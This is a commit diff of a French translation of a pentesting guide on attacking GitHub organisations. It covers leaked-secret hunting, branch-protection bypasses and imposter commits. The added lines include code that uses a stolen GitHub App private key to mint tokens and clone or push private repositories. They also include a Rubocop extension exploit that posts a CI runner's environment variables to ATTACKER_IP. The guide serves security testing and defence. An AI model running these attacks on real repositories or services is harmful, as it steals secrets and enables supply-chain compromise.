Translated ['src/pentesting-cloud/azure-security/az-services/az-logic-ap

This commit is contained in:
Translator
2025-08-21 00:24:34 +00:00
parent 9fa64736dd
commit 3e2e1b6814
21 changed files with 508 additions and 1950 deletions

View File

@@ -38,24 +38,18 @@ Veuillez noter que les github dorks sont également destinés à rechercher des
Outils (chaque outil contient sa liste de regex) :
- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
- [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit)
- [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob)
- [https://github.com/anshumanbh/git-all-secrets](https://github.com/anshumanbh/git-all-secrets)
- [https://github.com/kootenpv/gittyleaks](https://github.com/kootenpv/gittyleaks)
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
Consultez cette page : **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
> [!WARNING]
> Lorsque vous recherchez des fuites dans un dépôt et exécutez quelque chose comme `git log -p`, n'oubliez pas qu'il pourrait y avoir **d'autres branches avec d'autres commits** contenant des secrets !
### Forks externes
Il est possible de **compromettre des dépôts en abusant des demandes de tirage**. Pour savoir si un dépôt est vulnérable, vous devez principalement lire les configurations yaml des Github Actions. [**Plus d'infos à ce sujet ci-dessous**](./#execution-from-a-external-fork).
Il est possible de **compromettre des dépôts en abusant des demandes de tirage**. Pour savoir si un dépôt est vulnérable, vous devez principalement lire les configurations yaml des Github Actions. [**Plus d'infos à ce sujet ci-dessous**](#execution-from-a-external-fork).
### Fuites Github dans des forks supprimés/internes
Même si supprimé ou interne, il peut être possible d'obtenir des données sensibles à partir de forks de dépôts github. Vérifiez ici :
Même s'ils sont supprimés ou internes, il peut être possible d'obtenir des données sensibles à partir de forks de dépôts github. Vérifiez-le ici :
{{#ref}}
accessible-deleted-data-in-github.md
@@ -65,16 +59,16 @@ accessible-deleted-data-in-github.md
### Privilèges des membres
Il existe certains **privilèges par défaut** qui peuvent être attribués aux **membres** de l'organisation. Ceux-ci peuvent être contrôlés depuis la page `https://github.com/organizations/<org_name>/settings/member_privileges` ou depuis l' [**API des organisations**](https://docs.github.com/en/rest/orgs/orgs).
Il existe certains **privilèges par défaut** qui peuvent être attribués aux **membres** de l'organisation. Ceux-ci peuvent être contrôlés depuis la page `https://github.com/organizations/<org_name>/settings/member_privileges` ou depuis l'[**API des organisations**](https://docs.github.com/en/rest/orgs/orgs).
- **Permissions de base** : Les membres auront la permission Aucune/Lire/écrire/Admin sur les dépôts de l'organisation. Il est recommandé de choisir **Aucune** ou **Lire**.
- **Forking de dépôt** : Si ce n'est pas nécessaire, il est préférable de **ne pas permettre** aux membres de forker les dépôts de l'organisation.
- **Création de pages** : Si ce n'est pas nécessaire, il est préférable de **ne pas permettre** aux membres de publier des pages à partir des dépôts de l'organisation. Si nécessaire, vous pouvez autoriser la création de pages publiques ou privées.
- **Demandes d'accès à l'intégration** : Avec cela activé, les collaborateurs externes pourront demander l'accès aux applications GitHub ou OAuth pour accéder à cette organisation et à ses ressources. C'est généralement nécessaire, mais si ce n'est pas le cas, il est préférable de le désactiver.
- **Forking de dépôts** : Si ce n'est pas nécessaire, il est préférable de **ne pas autoriser** les membres à forker les dépôts de l'organisation.
- **Création de pages** : Si ce n'est pas nécessaire, il est préférable de **ne pas autoriser** les membres à publier des pages à partir des dépôts de l'organisation. Si nécessaire, vous pouvez autoriser la création de pages publiques ou privées.
- **Demandes d'accès aux intégrations** : Avec cela activé, les collaborateurs externes pourront demander l'accès aux applications GitHub ou OAuth pour accéder à cette organisation et à ses ressources. C'est généralement nécessaire, mais si ce n'est pas le cas, il est préférable de le désactiver.
- _Je n'ai pas trouvé cette info dans la réponse des APIs, partagez si vous le faites_
- **Changement de visibilité du dépôt** : Si activé, les **membres** avec des permissions **admin** pour le **dépôt** pourront **changer sa visibilité**. Si désactivé, seuls les propriétaires de l'organisation peuvent changer les visibilités des dépôts. Si vous **ne** voulez pas que les gens rendent les choses **publiques**, assurez-vous que cela est **désactivé**.
- _Je n'ai pas trouvé cette info dans la réponse des APIs, partagez si vous le faites_
- **Suppression et transfert de dépôt** : Si activé, les membres avec des permissions **admin** pour le dépôt pourront **supprimer** ou **transférer** des **dépôts** publics et privés.
- **Suppression et transfert de dépôts** : Si activé, les membres avec des permissions **admin** pour le dépôt pourront **supprimer** ou **transférer** des **dépôts** publics et privés.
- _Je n'ai pas trouvé cette info dans la réponse des APIs, partagez si vous le faites_
- **Autoriser les membres à créer des équipes** : Si activé, tout **membre** de l'organisation pourra **créer** de nouvelles **équipes**. Si désactivé, seuls les propriétaires de l'organisation peuvent créer de nouvelles équipes. Il est préférable d'avoir cela désactivé.
- _Je n'ai pas trouvé cette info dans la réponse des APIs, partagez si vous le faites_
@@ -89,7 +83,7 @@ Plusieurs paramètres liés à la sécurité peuvent être configurés pour les
- **Politiques des actions Github** : Cela vous permet d'indiquer quels dépôts peuvent exécuter des workflows et quels workflows doivent être autorisés. Il est recommandé de **spécifier quels dépôts** doivent être autorisés et de ne pas permettre à toutes les actions de s'exécuter.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
- **Exécuter des workflows de demandes de tirage de collaborateurs externes** : Il est recommandé de **demander une approbation pour tous** les collaborateurs externes.
- **Workflows de demandes de tirage de forks de collaborateurs externes** : Il est recommandé de **demander une approbation pour tous** les collaborateurs externes.
- _Je n'ai pas trouvé d'API avec cette info, partagez si vous le faites_
- **Exécuter des workflows à partir de demandes de tirage de forks** : Il est fortement **déconseillé d'exécuter des workflows à partir de demandes de tirage** car les mainteneurs de l'origine du fork auront la possibilité d'utiliser des tokens avec des permissions de lecture sur le dépôt source.
- _Je n'ai pas trouvé d'API avec cette info, partagez si vous le faites_
@@ -107,16 +101,16 @@ _Faites-moi savoir si vous connaissez le point de terminaison de l'API pour acc
Pour ce scénario, nous allons supposer que vous avez obtenu un accès à un compte github.
### Avec les identifiants utilisateur
### Avec les identifiants de l'utilisateur
Si vous avez d'une manière ou d'une autre déjà des identifiants pour un utilisateur au sein d'une organisation, vous pouvez **simplement vous connecter** et vérifier quels **rôles d'entreprise et d'organisation vous avez**, si vous êtes un membre ordinaire, vérifiez quels **permissions ont les membres ordinaires**, dans quels **groupes** vous êtes, quelles **permissions vous avez** sur quels **dépôts**, et **comment les dépôts sont protégés**.
Notez que **2FA peut être utilisé**, donc vous ne pourrez accéder à ces informations que si vous pouvez également **passer cette vérification**.
Notez que **2FA peut être utilisé**, donc vous ne pourrez accéder à ces informations que si vous pouvez également **passer ce contrôle**.
> [!NOTE]
> Notez que si vous **parvenez à voler le cookie `user_session`** (actuellement configuré avec SameSite: Lax), vous pouvez **complètement usurper l'identité de l'utilisateur** sans avoir besoin d'identifiants ou de 2FA.
Vérifiez la section ci-dessous sur [**les contournements de protection des branches**](./#branch-protection-bypass) au cas où cela serait utile.
Consultez la section ci-dessous sur [**les contournements de protections de branches**](#branch-protection-bypass) au cas où cela serait utile.
### Avec la clé SSH de l'utilisateur
@@ -134,67 +128,217 @@ Les **clés SSH** peuvent également être définies dans les dépôts en tant q
#### Clés GPG
Comme expliqué [**ici**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), il est parfois nécessaire de signer les commits ou vous pourriez être découvert.
Comme expliqué [**ici**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), il est parfois nécessaire de signer les commits sinon vous pourriez être découvert.
Vérifiez localement si l'utilisateur actuel a une clé avec :
```shell
gpg --list-secret-keys --keyid-format=long
```
### Avec le jeton utilisateur
### Avec le Token Utilisateur
Pour une introduction sur [**les jetons utilisateur, consultez les informations de base**](basic-github-information.md#personal-access-tokens).
Pour une introduction sur [**les Tokens Utilisateurs, consultez les informations de base**](basic-github-information.md#personal-access-tokens).
Un jeton utilisateur peut être utilisé **au lieu d'un mot de passe** pour Git via HTTPS, ou peut être utilisé pour [**s'authentifier à l'API via l'authentification de base**](https://docs.github.com/v3/auth/#basic-authentication). Selon les privilèges qui y sont attachés, vous pourriez être en mesure d'effectuer différentes actions.
Un token utilisateur peut être utilisé **au lieu d'un mot de passe** pour Git via HTTPS, ou peut être utilisé pour [**s'authentifier à l'API via l'authentification de base**](https://docs.github.com/v3/auth/#basic-authentication). Selon les privilèges qui y sont attachés, vous pourriez être en mesure d'effectuer différentes actions.
Un jeton utilisateur ressemble à ceci : `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
Un token utilisateur ressemble à ceci : `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
### Avec l'application Oauth
### Avec l'Application Oauth
Pour une introduction sur [**les applications Oauth de Github, consultez les informations de base**](basic-github-information.md#oauth-applications).
Pour une introduction sur [**les Applications Oauth de Github, consultez les informations de base**](basic-github-information.md#oauth-applications).
Un attaquant pourrait créer une **application Oauth malveillante** pour accéder aux données/actions privilégiées des utilisateurs qui les acceptent probablement dans le cadre d'une campagne de phishing.
Un attaquant pourrait créer une **Application Oauth malveillante** pour accéder aux données/actions privilégiées des utilisateurs qui les acceptent probablement dans le cadre d'une campagne de phishing.
Voici les [portées qu'une application Oauth peut demander](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Un utilisateur doit toujours vérifier les portées demandées avant de les accepter.
De plus, comme expliqué dans les informations de base, **les organisations peuvent donner/refuser l'accès aux applications tierces** aux informations/repos/actions liées à l'organisation.
### Avec l'application Github
### Avec l'Application Github
Pour une introduction sur [**les applications Github, consultez les informations de base**](basic-github-information.md#github-applications).
Pour une introduction sur [**les Applications Github, consultez les informations de base**](basic-github-information.md#github-applications).
Un attaquant pourrait créer une **application Github malveillante** pour accéder aux données/actions privilégiées des utilisateurs qui les acceptent probablement dans le cadre d'une campagne de phishing.
Un attaquant pourrait créer une **Application Github malveillante** pour accéder aux données/actions privilégiées des utilisateurs qui les acceptent probablement dans le cadre d'une campagne de phishing.
De plus, comme expliqué dans les informations de base, **les organisations peuvent donner/refuser l'accès aux applications tierces** aux informations/repos/actions liées à l'organisation.
## Compromettre et abuser de l'action Github
#### Usurper une Application GitHub avec sa clé privée (JWT → tokens d'accès d'installation)
Il existe plusieurs techniques pour compromettre et abuser d'une action Github, consultez-les ici :
Si vous obtenez la clé privée (PEM) d'une Application GitHub, vous pouvez entièrement usurper l'application à travers toutes ses installations :
- Générer un JWT à courte durée de vie signé avec la clé privée
- Appeler l'API REST de l'Application GitHub pour énumérer les installations
- Créer des tokens d'accès par installation et les utiliser pour lister/cloner/pousser vers les dépôts accordés à cette installation
Exigences :
- Clé privée de l'Application GitHub (PEM)
- ID de l'Application GitHub (numérique). GitHub exige que iss soit l'ID de l'application
Créer JWT (RS256) :
```python
#!/usr/bin/env python3
import time, jwt
with open("priv.pem", "r") as f:
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60, # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
```
Liste des installations pour l'application authentifiée :
```bash
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)
curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
```
Créer un jeton d'accès d'installation (valide ≤ 10 minutes) :
```bash
INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
```
Utilisez le token pour accéder au code. Vous pouvez cloner ou pousser en utilisant la forme d'URL xaccesstoken :
```bash
TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository
```
PoC programmatique pour cibler une organisation spécifique et lister les dépôts privés (PyGithub + PyJWT) :
```python
#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration
with open("priv.pem", "r") as f:
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
ORG = "someorg"
def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")
auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
installation = GI.get_org_installation(ORG)
print(f"Installation ID: {installation.id}")
jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]
print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
```
Notes :
- Les tokens d'installation héritent exactement des permissions au niveau du dépôt de l'application (par exemple, contents: write, pull_requests: write)
- Les tokens expirent en ≤10 minutes, mais de nouveaux tokens peuvent être créés indéfiniment tant que vous conservez la clé privée
- Vous pouvez également énumérer les installations via l'API REST (GET /app/installations) en utilisant le JWT
## Compromission & Abus de Github Action
Il existe plusieurs techniques pour compromettre et abuser d'une Github Action, consultez-les ici :
{{#ref}}
abusing-github-actions/
{{#endref}}
## Abus des applications GitHub tierces exécutant des outils externes (RCE de l'extension Rubocop)
Certaines applications GitHub et services de révision de PR exécutent des linters/SAST externes contre des pull requests en utilisant des fichiers de configuration contrôlés par le dépôt. Si un outil pris en charge permet le chargement dynamique de code, une PR peut atteindre RCE sur le runner du service.
Exemple : Rubocop prend en charge le chargement d'extensions à partir de sa configuration YAML. Si le service passe un .rubocop.yml fourni par le dépôt, vous pouvez exécuter du Ruby arbitraire en exigeant un fichier local.
- Les conditions de déclenchement incluent généralement :
- L'outil est activé dans le service
- La PR contient des fichiers que l'outil reconnaît (pour Rubocop : .rb)
- Le dépôt contient le fichier de configuration de l'outil (Rubocop recherche .rubocop.yml partout)
Fichiers d'exploitation dans la PR :
.rubocop.yml
```yaml
require:
- ./ext.rb
```
ext.rb (exfiltrer les variables d'environnement du runner) :
```ruby
require 'net/http'
require 'uri'
require 'json'
env_vars = ENV.to_h
json_data = env_vars.to_json
url = URI.parse('http://ATTACKER_IP/')
begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
end
```
Aussi inclure un fichier Ruby fictif suffisamment grand (par exemple, main.rb) afin que le linter puisse réellement s'exécuter.
Impact observé dans la nature :
- Exécution complète du code sur le runner de production qui a exécuté le linter
- Exfiltration de variables d'environnement sensibles, y compris la clé privée de l'application GitHub utilisée par le service, les clés API, les identifiants de base de données, etc.
- Avec une clé privée d'application GitHub divulguée, vous pouvez créer des jetons d'installation et obtenir un accès en lecture/écriture à tous les dépôts accordés à cette application (voir la section ci-dessus sur l'usurpation d'identité d'application GitHub)
Directives de renforcement pour les services exécutant des outils externes :
- Traitez les configurations d'outils fournies par le dépôt comme du code non fiable
- Exécutez les outils dans des environnements isolés de manière stricte sans variables d'environnement sensibles montées
- Appliquez des identifiants à privilèges minimaux et une isolation du système de fichiers, et restreignez/refusez l'accès sortant au réseau pour les outils qui ne nécessitent pas d'accès Internet
## Contournement de la protection des branches
- **Exiger un nombre d'approbations** : Si vous avez compromis plusieurs comptes, vous pourriez simplement accepter vos PRs d'autres comptes. Si vous n'avez que le compte à partir duquel vous avez créé la PR, vous ne pouvez pas accepter votre propre PR. Cependant, si vous avez accès à un **environnement d'action Github** à l'intérieur du dépôt, en utilisant le **GITHUB_TOKEN**, vous pourriez être en mesure d'**approuver votre PR** et d'obtenir 1 approbation de cette manière.
- _Remarque pour cela et pour la restriction des propriétaires de code que généralement un utilisateur ne pourra pas approuver ses propres PRs, mais si vous le pouvez, vous pouvez en abuser pour accepter vos PRs._
- **Exiger un certain nombre d'approbations** : Si vous avez compromis plusieurs comptes, vous pourriez simplement accepter vos PR d'autres comptes. Si vous n'avez que le compte à partir duquel vous avez créé la PR, vous ne pouvez pas accepter votre propre PR. Cependant, si vous avez accès à un environnement **Github Action** à l'intérieur du dépôt, en utilisant le **GITHUB_TOKEN**, vous pourriez être en mesure d'**approuver votre PR** et d'obtenir 1 approbation de cette manière.
- _Remarque pour cela et pour la restriction des propriétaires de code que généralement un utilisateur ne pourra pas approuver ses propres PR, mais si vous le pouvez, vous pouvez en abuser pour accepter vos PR._
- **Rejeter les approbations lorsque de nouveaux commits sont poussés** : Si cela n'est pas défini, vous pouvez soumettre du code légitime, attendre qu'il soit approuvé, puis mettre du code malveillant et le fusionner dans la branche protégée.
- **Exiger des revues des propriétaires de code** : Si cela est activé et que vous êtes un propriétaire de code, vous pourriez faire en sorte qu'une **action Github crée votre PR et que vous l'approuviez vous-même**.
- Lorsqu'un **fichier CODEOWNER est mal configuré**, Github ne se plaint pas mais ne l'utilise pas. Par conséquent, s'il est mal configuré, **la protection des propriétaires de code n'est pas appliquée.**
- **Exiger des revues des propriétaires de code** : Si cela est activé et que vous êtes un propriétaire de code, vous pourriez faire en sorte qu'une **Github Action crée votre PR et que vous l'approuviez vous-même**.
- Lorsqu'un **fichier CODEOWNER est mal configuré**, GitHub ne se plaint pas mais ne l'utilise pas. Par conséquent, s'il est mal configuré, la **protection des propriétaires de code n'est pas appliquée.**
- **Autoriser des acteurs spécifiés à contourner les exigences de demande de tirage** : Si vous êtes l'un de ces acteurs, vous pouvez contourner les protections de demande de tirage.
- **Inclure les administrateurs** : Si cela n'est pas défini et que vous êtes administrateur du dépôt, vous pouvez contourner ces protections de branche.
- **Détournement de PR** : Vous pourriez être en mesure de **modifier la PR de quelqu'un d'autre** en ajoutant du code malveillant, en approuvant la PR résultante vous-même et en fusionnant le tout.
- **Suppression des protections de branche** : Si vous êtes un **administrateur du dépôt, vous pouvez désactiver les protections**, fusionner votre PR et rétablir les protections.
- **Contourner les protections de poussée** : Si un dépôt **n'autorise que certains utilisateurs** à envoyer des poussées (fusionner du code) dans des branches (la protection de branche pourrait protéger toutes les branches en spécifiant le caractère générique `*`).
- Si vous avez **un accès en écriture sur le dépôt mais que vous n'êtes pas autorisé à pousser du code** en raison de la protection de branche, vous pouvez toujours **créer une nouvelle branche** et à l'intérieur, créer une **action github qui est déclenchée lorsque du code est poussé**. Comme la **protection de branche ne protégera pas la branche tant qu'elle n'est pas créée**, ce premier envoi de code vers la branche **exécutera l'action github**.
- Si vous avez **un accès en écriture sur le dépôt mais que vous n'êtes pas autorisé à pousser du code** en raison de la protection de branche, vous pouvez toujours **créer une nouvelle branche** et à l'intérieur, créer une **action GitHub qui est déclenchée lorsque du code est poussé**. Comme la **protection de branche ne protégera pas la branche tant qu'elle n'est pas créée**, ce premier envoi de code vers la branche **exécutera l'action GitHub**.
## Contournement des protections des environnements
Pour une introduction sur [**l'environnement Github, consultez les informations de base**](basic-github-information.md#git-environments).
Pour une introduction sur [**Github Environment, consultez les informations de base**](basic-github-information.md#git-environments).
Dans le cas où un environnement peut être **accessible depuis toutes les branches**, il **n'est pas protégé** et vous pouvez facilement accéder aux secrets à l'intérieur de l'environnement. Notez que vous pourriez trouver des dépôts où **toutes les branches sont protégées** (en spécifiant leurs noms ou en utilisant `*`), dans ce scénario, **trouvez une branche où vous pouvez pousser du code** et vous pouvez **exfiltrer** les secrets en créant une nouvelle action github (ou en en modifiant une).
Dans le cas où un environnement peut être **accessible depuis toutes les branches**, il **n'est pas protégé** et vous pouvez facilement accéder aux secrets à l'intérieur de l'environnement. Notez que vous pourriez trouver des dépôts où **toutes les branches sont protégées** (en spécifiant leurs noms ou en utilisant `*`), dans ce scénario, **trouvez une branche où vous pouvez pousser du code** et vous pouvez **exfiltrer** les secrets en créant une nouvelle action GitHub (ou en en modifiant une).
Notez que vous pourriez trouver le cas limite où **toutes les branches sont protégées** (via le caractère générique `*`), il est spécifié **qui peut pousser du code vers les branches** (_vous pouvez spécifier cela dans la protection de branche_) et **votre utilisateur n'est pas autorisé**. Vous pouvez toujours exécuter une action github personnalisée car vous pouvez créer une branche et utiliser le déclencheur de poussée sur elle-même. La **protection de branche permet la poussée vers une nouvelle branche, donc l'action github sera déclenchée**.
Notez que vous pourriez trouver le cas limite où **toutes les branches sont protégées** (via le caractère générique `*`) il est spécifié **qui peut pousser du code vers les branches** (_vous pouvez spécifier cela dans la protection de branche_) et **votre utilisateur n'est pas autorisé**. Vous pouvez toujours exécuter une action GitHub personnalisée car vous pouvez créer une branche et utiliser le déclencheur de poussée sur elle-même. La **protection de branche permet la poussée vers une nouvelle branche, donc l'action GitHub sera déclenchée**.
```yaml
push: # Run it when a push is made to a branch
branches:
@@ -214,7 +358,7 @@ Notez que **après la création** de la branche, la **protection de la branche s
- Créer/modifier **Github Action** avec une **porte dérobée**
- Trouver **Github Action vulnérable à l'injection de commandes** via la modification de la valeur **secrète**
### Commits imposteurs - Porte dérobée via des commits de repo
### Commits d'imposteur - Porte dérobée via des commits de repo
Dans Github, il est possible de **créer une PR pour un repo à partir d'un fork**. Même si la PR n'est **pas acceptée**, un **commit** id à l'intérieur du repo original sera créé pour la version fork du code. Par conséquent, un attaquant **pourrait épingler l'utilisation d'un commit spécifique d'un repo apparemment légitime qui n'a pas été créé par le propriétaire du repo**.
@@ -233,4 +377,12 @@ echo 'hello world!'
```
Pour plus d'informations, consultez [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
## Références
- [Comment nous avons exploité CodeRabbit : d'un simple PR à RCE et accès en écriture sur 1M de dépôts](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
- [Extensions Rubocop (require)](https://docs.rubocop.org/rubocop/latest/extensions.html)
- [Authentification avec une application GitHub (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
- [Lister les installations pour l'application authentifiée](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
- [Créer un jeton d'accès d'installation pour une application](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
{{#include ../../banners/hacktricks-training.md}}